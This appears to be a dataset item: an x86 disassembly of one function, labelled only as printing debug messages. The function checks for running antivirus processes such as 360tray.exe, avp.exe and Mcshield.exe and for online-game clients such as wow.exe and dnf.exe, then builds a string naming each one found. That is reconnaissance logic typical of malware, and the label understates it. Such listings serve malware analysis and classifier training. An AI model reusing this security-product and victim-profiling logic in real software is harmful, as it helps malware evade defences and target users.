Function at 0x1001207c
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0x20], 0x100274c8
mov dword [ebp - 0x44], str.360tray.exe
mov dword [ebp - 0x40], str.avp.exe
mov dword [ebp - 0x48], str.KvMonXP.exe
mov dword [ebp - 0x28], str.RavMonD.exe
mov dword [ebp - 0x2c], str.360sd.exe
mov dword [ebp - 0x34], str.Mcshield.exe
mov dword [ebp - 0x3c], str.egui.exe
mov dword [ebp - 8], str.kxetray.exe
mov dword [ebp - 0x10], str.knsdtray.exe
mov dword [ebp - 0x1c], str.TMBMSRV.exe
mov dword [ebp - 0x54], str.avcenter.exe
mov dword [ebp - 0x58], str.ashDisp.exe
mov eax, dword [ebp - 0x44]
push eax
call fcn.10014789
add esp, 4
test eax, eax
je 0x1001212c
push 0x1002424c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 4
push 0
mov ecx, dword [ebp - 0x44]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x44], 0x10024260
mov edx, dword [ebp - 0x44]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x1002426c
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp - 0x40]
push edx
call fcn.10014789
add esp, 4
test eax, eax
je 0x10012170
push 4
push 0
mov eax, dword [ebp - 0x40]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x40], 0x10024270
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x10024278
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp - 0x48]
push ecx
call fcn.10014789
add esp, 4
test eax, eax
je 0x100121b4
push 4
push 0
mov edx, dword [ebp - 0x48]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x48], 0x1002427c
mov eax, dword [ebp - 0x48]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x10024284
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp - 0x28]
push eax
call fcn.10014789
add esp, 4
test eax, eax
je 0x100121f8
push 4
push 0
mov ecx, dword [ebp - 0x28]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x28], 0x10024288
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x10024290
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp - 0x2c]
push edx
call fcn.10014789
add esp, 4
test eax, eax
je 0x1001223c
push 4
push 0
mov eax, dword [ebp - 0x2c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x2c], str.360
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x1002429c
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp - 0x34]
push ecx
call fcn.10014789
add esp, 4
test eax, eax
je 0x10012280
push 4
push 0
mov edx, dword [ebp - 0x34]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x34], 0x100242a0
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100242a8
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp - 0x3c]
push eax
call fcn.10014789
add esp, 4
test eax, eax
je 0x100122c4
push 4
push 0
mov ecx, dword [ebp - 0x3c]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x3c], str.NOD32
mov edx, dword [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100242b4
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp - 8]
push edx
call fcn.10014789
add esp, 4
test eax, eax
je 0x10012308
push 4
push 0
mov eax, dword [ebp - 8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 8], 0x100242b8
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100242c0
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.10014789
add esp, 4
test eax, eax
je 0x1001234c
push 4
push 0
mov edx, dword [ebp - 0x10]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x10], 0x100242c4
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100242cc
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp - 0x1c]
push eax
call fcn.10014789
add esp, 4
test eax, eax
je 0x10012390
push 4
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x1c], 0x100242d0
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100242d8
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp - 0x54]
push edx
call fcn.10014789
add esp, 4
test eax, eax
je 0x100123d4
push 4
push 0
mov eax, dword [ebp - 0x54]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x54], str.avira
mov ecx, dword [ebp - 0x54]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100242e4
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp - 0x58]
push ecx
call fcn.10014789
add esp, 4
test eax, eax
je 0x10012418
push 4
push 0
mov edx, dword [ebp - 0x58]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x58], str.avast
mov eax, dword [ebp - 0x58]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100242f0
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x4c], str.my.exe
mov dword [ebp - 0x50], str.dp.exe
mov dword [ebp - 0x18], str.mdm365.exe
mov dword [ebp - 0x24], str.dnf.exe
mov dword [ebp - 4], str.xy2.exe
mov dword [ebp - 0xc], str.xy3.exe
mov dword [ebp - 0x30], str.QQhxgame.exe
mov dword [ebp - 0x38], str.wow.exe
mov dword [ebp - 0x14], str.tw2.exe
mov eax, dword [ebp - 0x4c]
push eax
call fcn.10014789
add esp, 4
test eax, eax
je 0x1001249b
push 4
push 0
mov ecx, dword [ebp - 0x4c]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x4c], 0x10024348
mov edx, dword [ebp - 0x4c]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x10024354
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp - 0x50]
push edx
call fcn.10014789
add esp, 4
test eax, eax
je 0x100124df
push 4
push 0
mov eax, dword [ebp - 0x50]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x50], 0x10024358
mov ecx, dword [ebp - 0x50]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x10024364
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.10014789
add esp, 4
test eax, eax
je 0x10012523
push 4
push 0
mov edx, dword [ebp - 0x18]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x18], 0x10024368
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x10024374
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp - 0x24]
push eax
call fcn.10014789
add esp, 4
test eax, eax
je 0x10012567
push 4
push 0
mov ecx, dword [ebp - 0x24]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x24], 0x10024378
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x10024388
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp - 4]
push edx
call fcn.10014789
add esp, 4
test eax, eax
je 0x100125ab
push 4
push 0
mov eax, dword [ebp - 4]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0x1002438c
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x10024398
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.10014789
add esp, 4
test eax, eax
je 0x100125ef
push 4
push 0
mov edx, dword [ebp - 0xc]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0xc], 0x1002439c
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100243a8
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp - 0x30]
push eax
call fcn.10014789
add esp, 4
test eax, eax
je 0x10012633
push 4
push 0
mov ecx, dword [ebp - 0x30]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x30], 0x100243ac
mov edx, dword [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100243b4
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp - 0x38]
push edx
call fcn.10014789
add esp, 4
test eax, eax
je 0x10012677
push 4
push 0
mov eax, dword [ebp - 0x38]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x38], 0x100243b8
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100243c4
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.10014789
add esp, 4
test eax, eax
je 0x100126bb
push 4
push 0
mov edx, dword [ebp - 0x14]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x14], 0x100243c8
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100243d0
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100243d4
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x100126e0
push 0x100243d8
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp - 0x20]
mov esp, ebp
pop ebp
ret